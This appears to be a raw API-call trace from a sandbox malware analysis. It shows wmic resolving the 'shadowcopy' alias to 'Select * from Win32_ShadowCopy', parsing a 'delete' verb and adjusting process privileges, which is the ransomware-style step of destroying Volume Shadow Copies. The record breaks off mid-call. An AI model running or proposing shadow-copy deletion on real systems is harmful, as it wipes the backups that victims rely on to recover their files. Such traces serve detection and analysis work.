SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0061.657] SysStringLen (param_1="'") returned 0x1 [0061.657] free (_Block=0x60cbc0) [0061.657] free (_Block=0x60cba0) [0061.657] free (_Block=0x60cb80) [0061.657] free (_Block=0x60cc00) [0061.657] IWbemServices:GetObject (in: This=0x1ce3a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x14f758*=0x0, ppCallResult=0x0 | out: ppObject=0x14f758*=0x1cf04e0, ppCallResult=0x0) returned 0x0 [0061.685] malloc (_Size=0x18) returned 0x60cc00 [0061.685] IWbemClassObject:Get (in: This=0x1cf04e0, wszName="Target", lFlags=0, pVal=0x14f680*(varType=0x0, wReserved1=0xff51, wReserved2=0x0, wReserved3=0x0, varVal1=0xff512998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x14f680*(varType=0x8, wReserved1=0xff51, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0061.685] free (_Block=0x60cc00) [0061.685] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0061.685] malloc (_Size=0x3e) returned 0x606ee0 [0061.685] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0061.686] malloc (_Size=0x18) returned 0x60cc00 [0061.686] IWbemClassObject:Get (in: This=0x1cf04e0, wszName="PWhere", lFlags=0, pVal=0x14f680*(varType=0x0, wReserved1=0xff51, wReserved2=0x0, wReserved3=0x0, varVal1=0x352c48, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x14f680*(varType=0x8, wReserved1=0xff51, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0061.686] free (_Block=0x60cc00) [0061.686] lstrlenW (lpString=" Where ID = '#'") returned 15 [0061.686] malloc (_Size=0x20) returned 0x60ce30 [0061.686] lstrlenW (lpString=" Where ID = '#'") returned 15 [0061.686] malloc (_Size=0x18) returned 0x60cc00 [0061.686] IWbemClassObject:Get (in: This=0x1cf04e0, wszName="Connection", lFlags=0, pVal=0x14f680*(varType=0x0, wReserved1=0xff51, wReserved2=0x0, wReserved3=0x0, varVal1=0x39bc78, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x14f680*(varType=0xd, wReserved1=0xff51, wReserved2=0x0, wReserved3=0x0, varVal1=0x1cf09c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0061.686] free (_Block=0x60cc00) [0061.686] IUnknown:QueryInterface (in: This=0x1cf09c0, riid=0xff4a7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x14f670 | out: ppvObject=0x14f670*=0x1cf09c0) returned 0x0 [0061.686] GetCurrentThreadId () returned 0xa7c [0061.686] ??0CHString@@QEAA@XZ () returned 0x14f598 [0061.686] malloc (_Size=0x18) returned 0x60cc00 [0061.686] IWbemClassObject:Get (in: This=0x1cf09c0, wszName="Namespace", lFlags=0, pVal=0x14f5c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff4b738f, varVal2=0x60cc00), pType=0x0, plFlavor=0x0 | out: pVal=0x14f5c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x60cc00), pType=0x0, plFlavor=0x0) returned 0x0 [0061.686] free (_Block=0x60cc00) [0061.686] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0061.686] malloc (_Size=0x16) returned 0x60cc00 [0061.686] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0061.687] malloc (_Size=0x18) returned 0x60cb80 [0061.687] IWbemClassObject:Get (in: This=0x1cf09c0, wszName="Locale", lFlags=0, pVal=0x14f5c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0 | out: pVal=0x14f5c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x60cc00), pType=0x0, plFlavor=0x0) returned 0x0 [0061.687] free (_Block=0x60cb80) [0061.687] lstrlenW (lpString="ms_409") returned 6 [0061.687] malloc (_Size=0xe) returned 0x60cb80 [0061.687] lstrlenW (lpString="ms_409") returned 6 [0061.687] malloc (_Size=0x18) returned 0x60cba0 [0061.687] IWbemClassObject:Get (in: This=0x1cf09c0, wszName="User", lFlags=0, pVal=0x14f5c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0 | out: pVal=0x14f5c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0) returned 0x0 [0061.687] free (_Block=0x60cba0) [0061.687] malloc (_Size=0x18) returned 0x60cba0 [0061.687] IWbemClassObject:Get (in: This=0x1cf09c0, wszName="Password", lFlags=0, pVal=0x14f5c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0 | out: pVal=0x14f5c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0) returned 0x0 [0061.687] free (_Block=0x60cba0) [0061.687] malloc (_Size=0x18) returned 0x60cba0 [0061.687] IWbemClassObject:Get (in: This=0x1cf09c0, wszName="Server", lFlags=0, pVal=0x14f5c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0 | out: pVal=0x14f5c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x60cc00), pType=0x0, plFlavor=0x0) returned 0x0 [0061.687] free (_Block=0x60cba0) [0061.687] lstrlenW (lpString=".") returned 1 [0061.687] malloc (_Size=0x4) returned 0x60ce60 [0061.687] lstrlenW (lpString=".") returned 1 [0061.687] malloc (_Size=0x18) returned 0x60cba0 [0061.688] IWbemClassObject:Get (in: This=0x1cf09c0, wszName="Authority", lFlags=0, pVal=0x14f5c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0 | out: pVal=0x14f5c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0x60cc00), pType=0x0, plFlavor=0x0) returned 0x0 [0061.688] free (_Block=0x60cba0) [0061.688] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.688] IUnknown:Release (This=0x1cf09c0) returned 0x1 [0061.688] GetCurrentThreadId () returned 0xa7c [0061.688] ??0CHString@@QEAA@XZ () returned 0x14f598 [0061.688] malloc (_Size=0x18) returned 0x60cba0 [0061.688] IWbemClassObject:Get (in: This=0x1cf04e0, wszName="__RELPATH", lFlags=0, pVal=0x14f5c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c7f88, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x14f5c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0 [0061.688] free (_Block=0x60cba0) [0061.688] malloc (_Size=0x18) returned 0x60cba0 [0061.688] GetCurrentThreadId () returned 0xa7c [0061.688] ??0CHString@@QEAA@XZ () returned 0x14f418 [0061.688] ??0CHString@@QEAA@PEBG@Z () returned 0x14f430 [0061.688] ??0CHString@@QEAA@AEBV0@@Z () returned 0x14f3c0 [0061.688] ?Empty@CHString@@QEAAXXZ () returned 0x7fef884482c [0061.688] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x60ce80 [0061.689] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0061.689] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x14f380 [0061.689] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x14f3c8 [0061.689] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x14f430 [0061.690] ??1CHString@@QEAA@XZ () returned 0x3e51c801 [0061.690] ??1CHString@@QEAA@XZ () returned 0x3e51c801 [0061.690] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x14f388 [0061.690] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x14f3c0 [0061.690] ??1CHString@@QEAA@XZ () returned 0x1 [0061.690] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x60cef0 [0061.690] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0061.690] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x14f380 [0061.690] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x14f3c8 [0061.690] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x14f430 [0061.690] ??1CHString@@QEAA@XZ () returned 0x3e51c801 [0061.690] ??1CHString@@QEAA@XZ () returned 0x3e51c801 [0061.690] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x14f388 [0061.690] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x14f3c0 [0061.690] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.690] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef8844820 [0061.691] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.691] malloc (_Size=0x18) returned 0x60cbc0 [0061.691] malloc (_Size=0x18) returned 0x60cc20 [0061.691] malloc (_Size=0x18) returned 0x60cc40 [0061.691] malloc (_Size=0x18) returned 0x60cc60 [0061.691] malloc (_Size=0x18) returned 0x60cc80 [0061.691] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0061.691] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0061.691] malloc (_Size=0x18) returned 0x60cca0 [0061.691] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0061.691] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0061.691] malloc (_Size=0x18) returned 0x60ccc0 [0061.691] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0061.691] SysStringLen (param_1="\"") returned 0x1 [0061.691] free (_Block=0x60cca0) [0061.691] free (_Block=0x60cc80) [0061.691] free (_Block=0x60cc60) [0061.691] free (_Block=0x60cc40) [0061.692] free (_Block=0x60cc20) [0061.692] free (_Block=0x60cbc0) [0061.692] IWbemServices:GetObject (in: This=0x1ce3b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x14f408*=0x0, ppCallResult=0x0 | out: ppObject=0x14f408*=0x1cf0a50, ppCallResult=0x0) returned 0x0 [0061.694] malloc (_Size=0x18) returned 0x60cbc0 [0061.694] IWbemClassObject:Get (in: This=0x1cf0a50, wszName="Text", lFlags=0, pVal=0x14f440*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff512ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x14f440*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c74e0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x34dfc0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0 [0061.694] free (_Block=0x60cbc0) [0061.694] SafeArrayGetLBound (in: psa=0x3c74e0, nDim=0x1, plLbound=0x14f420 | out: plLbound=0x14f420) returned 0x0 [0061.694] SafeArrayGetUBound (in: psa=0x3c74e0, nDim=0x1, plUbound=0x14f410 | out: plUbound=0x14f410) returned 0x0 [0061.694] SafeArrayGetElement (in: psa=0x3c74e0, rgIndices=0x14f404, pv=0x14f458 | out: pv=0x14f458) returned 0x0 [0061.694] malloc (_Size=0x18) returned 0x60cbc0 [0061.694] malloc (_Size=0x18) returned 0x60cc20 [0061.694] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0061.695] free (_Block=0x60cbc0) [0061.695] IUnknown:Release (This=0x1cf0a50) returned 0x0 [0061.695] free (_Block=0x60ccc0) [0061.695] ??1CHString@@QEAA@XZ () returned 0x3e51c801 [0061.695] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.695] free (_Block=0x60cba0) [0061.695] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.695] lstrlenW (lpString="Shadow copy management.") returned 23 [0061.695] malloc (_Size=0x30) returned 0x6085c0 [0061.695] lstrlenW (lpString="Shadow copy management.") returned 23 [0061.695] free (_Block=0x60cc20) [0061.695] IUnknown:Release (This=0x1cf04e0) returned 0x0 [0061.695] free (_Block=0x60cbe0) [0061.695] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.695] lstrlenW (lpString="PATH") returned 4 [0061.695] lstrlenW (lpString="delete") returned 6 [0061.695] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0061.695] lstrlenW (lpString="WHERE") returned 5 [0061.695] lstrlenW (lpString="delete") returned 6 [0061.695] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0061.695] lstrlenW (lpString="(") returned 1 [0061.695] lstrlenW (lpString="delete") returned 6 [0061.695] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0061.695] lstrlenW (lpString="/") returned 1 [0061.695] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0061.696] lstrlenW (lpString="-") returned 1 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0061.696] malloc (_Size=0x18) returned 0x60cbe0 [0061.696] lstrlenW (lpString="GET") returned 3 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0061.696] lstrlenW (lpString="LIST") returned 4 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0061.696] lstrlenW (lpString="SET") returned 3 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0061.696] lstrlenW (lpString="CREATE") returned 6 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0061.696] lstrlenW (lpString="CALL") returned 4 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0061.696] lstrlenW (lpString="ASSOC") returned 5 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0061.696] lstrlenW (lpString="DELETE") returned 6 [0061.696] lstrlenW (lpString="delete") returned 6 [0061.696] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0061.697] free (_Block=0x60cbe0) [0061.697] lstrlenW (lpString="/") returned 1 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0061.697] lstrlenW (lpString="-") returned 1 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] malloc (_Size=0xe) returned 0x60cbe0 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] lstrlenW (lpString="GET") returned 3 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0061.697] lstrlenW (lpString="LIST") returned 4 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0061.697] lstrlenW (lpString="SET") returned 3 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0061.697] lstrlenW (lpString="CREATE") returned 6 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0061.697] lstrlenW (lpString="CALL") returned 4 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0061.697] lstrlenW (lpString="ASSOC") returned 5 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0061.697] lstrlenW (lpString="DELETE") returned 6 [0061.697] lstrlenW (lpString="delete") returned 6 [0061.697] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0061.698] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0061.698] malloc (_Size=0x3e) returned 0x60ce80 [0061.698] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0061.698] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffa060 | out: _String="Select", _Context=0xffffffffffffa060) returned="Select" [0061.698] malloc (_Size=0x18) returned 0x60cc20 [0061.698] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*" [0061.698] lstrlenW (lpString="FROM") returned 4 [0061.698] lstrlenW (lpString="*") returned 1 [0061.698] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0061.698] malloc (_Size=0x18) returned 0x60cba0 [0061.698] free (_Block=0x60cc20) [0061.698] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3a00780008 | out: _String=0x0, _Context=0x3a00780008) returned="from" [0061.698] lstrlenW (lpString="FROM") returned 4 [0061.698] lstrlenW (lpString="from") returned 4 [0061.698] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0061.698] malloc (_Size=0x18) returned 0x60cc20 [0061.698] free (_Block=0x60cba0) [0061.698] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3b00780008 | out: _String=0x0, _Context=0x3b00780008) returned="Win32_ShadowCopy" [0061.698] malloc (_Size=0x18) returned 0x60cba0 [0061.698] free (_Block=0x60cc20) [0061.698] free (_Block=0x60ce80) [0061.698] free (_Block=0x60cba0) [0061.698] lstrlenW (lpString="SET") returned 3 [0061.698] lstrlenW (lpString="delete") returned 6 [0061.698] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0061.698] lstrlenW (lpString="CREATE") returned 6 [0061.699] lstrlenW (lpString="delete") returned 6 [0061.699] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0061.699] free (_Block=0x60cae0) [0061.699] malloc (_Size=0x8) returned 0x60ce80 [0061.699] lstrlenW (lpString="GET") returned 3 [0061.699] lstrlenW (lpString="delete") returned 6 [0061.699] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0061.699] lstrlenW (lpString="LIST") returned 4 [0061.699] lstrlenW (lpString="delete") returned 6 [0061.699] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0061.699] lstrlenW (lpString="ASSOC") returned 5 [0061.699] lstrlenW (lpString="delete") returned 6 [0061.699] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0061.699] WbemLocator:IUnknown:AddRef (This=0x1cd1390) returned 0x3 [0061.699] free (_Block=0x6069a0) [0061.699] lstrlenW (lpString="") returned 0 [0061.699] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.699] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0061.699] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.699] malloc (_Size=0x14) returned 0x60cae0 [0061.699] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.699] GetCurrentThreadId () returned 0xa7c [0061.699] GetCurrentProcess () returned 0xffffffffffffffff [0061.699] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x14f7e0 | out: TokenHandle=0x14f7e0*=0x254) returned 1 [0061.699] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x14f7d8 | out: TokenInformation=0x0, ReturnLength=0x14f7d8) returned 0 [0061.699] malloc (_Size=0x118) returned 0x60cea0 [0061.699] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x3, TokenInformation=0x60cea0, TokenInformationLength=0x118, ReturnLength=0x14f7d8 | out: TokenInformation=0x60cea0, ReturnLength=0x14f7d8) returned 1 [0061.699] AdjustTokenPrivileges (in: TokenHandle=0x254, DisableAllPrivileges=0, NewState=0x60cea0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=1011993541, Attributes=0xd85b), (Luid.LowPart=0x0, Luid.HighPart=6318496, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=-50330881, Attributes=0xd84c), (Luid.LowPart=0x0, Luid.HighPart=6291800, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0061.699] free (_Block=0x60cea0) [0061.699] CloseHandle (hObject=0x254) returned 1 [0061.700] lstrlenW (lpString="GET") returned 3 [0061.700] lstrlenW (lpString="delete") returned 6 [0061.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0061.700] lstrlenW (lpString="LIST") returned 4 [0061.700] lstrlenW (lpString="delete") returned 6 [0061.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0061.700] lstrlenW (lpString="SET") returned 3 [0061.700] lstrlenW (lpString="delete") returned 6 [0061.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0061.700] lstrlenW (lpString="CALL") returned 4 [0061.700] lstrlenW (lpString="delete") returned 6 [0061.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0061.700] lstrlenW (lpString="ASSOC") returned 5 [0061.700] lstrlenW (lpString="delete") returned 6 [0061.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0061.700] lstrlenW (lpString="CREATE") returned 6 [0061.700] lstrlenW (lpString="delete") returned 6 [0061.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0061.700] lstrlenW (lpString="DELETE") returned 6 [0061.700] lstrlenW (lpString="delete") returned 6 [0061.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0061.756] malloc (_Size=0x18) returned 0x60cba0 [0061.756] lstrlenA (lpString="") returned 0 [0061.756] malloc (_Size=0x2) returned 0x6069a0 [0061.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff4a314c, cbMultiByte=-1, lpWideCharStr=0x6069a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.756] free (_Block=0x6069a0) [0061.756] malloc (_Size=0x18) returned 0x60cc20 [0061.756] lstrlenA (lpString="") returned 0 [0061.756] malloc (_Size=0x2) returned 0x6069a0 [0061.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff4a314c, cbMultiByte=-1, lpWideCharStr=0x6069a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.756] free (_Block=0x6069a0) [0061.756] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0061.756] malloc (_Size=0x3e) returned 0x60cea0 [0061.756] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0061.756] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffa040 | out: _String="Select", _Context=0xffffffffffffa040) returned="Select" [0061.756] malloc (_Size=0x18) returned 0x60ccc0 [0061.756] free (_Block=0x60cc20) [0061.756] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3f00680007 | out: _String=0x0, _Context=0x3f00680007) returned="*" [0061.756] lstrlenW (lpString="FROM") returned 4 [0061.756] lstrlenW (lpString="*") returned 1 [0061.756] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0061.756] malloc (_Size=0x18) returned 0x60cc20 [0061.756] free (_Block=0x60ccc0) [0061.756] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x4000680007 | out: _String=0x0, _Context=0x4000680007) returned="from" [0061.757] lstrlenW (lpString="FROM") returned 4 [0061.757] lstrlenW (lpString="from") returned 4 [0061.757] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0061.757] malloc (_Size=0x18) returned 0x60ccc0 [0061.757] free (_Block=0x60cc20) [0061.757] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x4100680007 | out: _String=0x0, _Context=0x4100680007) returned="Win32_ShadowCopy" [0061.757] malloc (_Size=0x18) returned 0x60cc20 [0061.757] free 